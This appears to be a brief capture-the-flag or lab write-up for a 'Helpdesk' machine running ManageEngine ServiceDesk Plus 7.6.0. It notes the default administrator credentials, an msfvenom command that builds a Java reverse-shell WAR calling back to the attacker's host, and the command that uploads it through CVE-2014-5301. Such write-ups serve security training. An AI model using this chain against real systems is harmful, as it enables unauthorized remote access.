# Helpdesk

### Enumeration

<http://192.168.112.43:8080/> - ManageEngine ServiceDesk Plus 7.6.0

Default credentials -> administrator:administrator

ManageEngine (Multiple Products) - (Authenticated) Arbitrary File Upload (Metasploit)

<https://www.exploit-db.com/exploits/35845>

Not msf -> <https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py>

### Access

```
$ msfvenom -p java/shell_reverse_tcp LHOST=192.168.49.112 LPORT=80 -f war > shell.war
```

> Script usage: python3 CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE

```
$ python3 CVE-2014-5301.py 192.168.112.43 8080 administrator administrator shell.war
```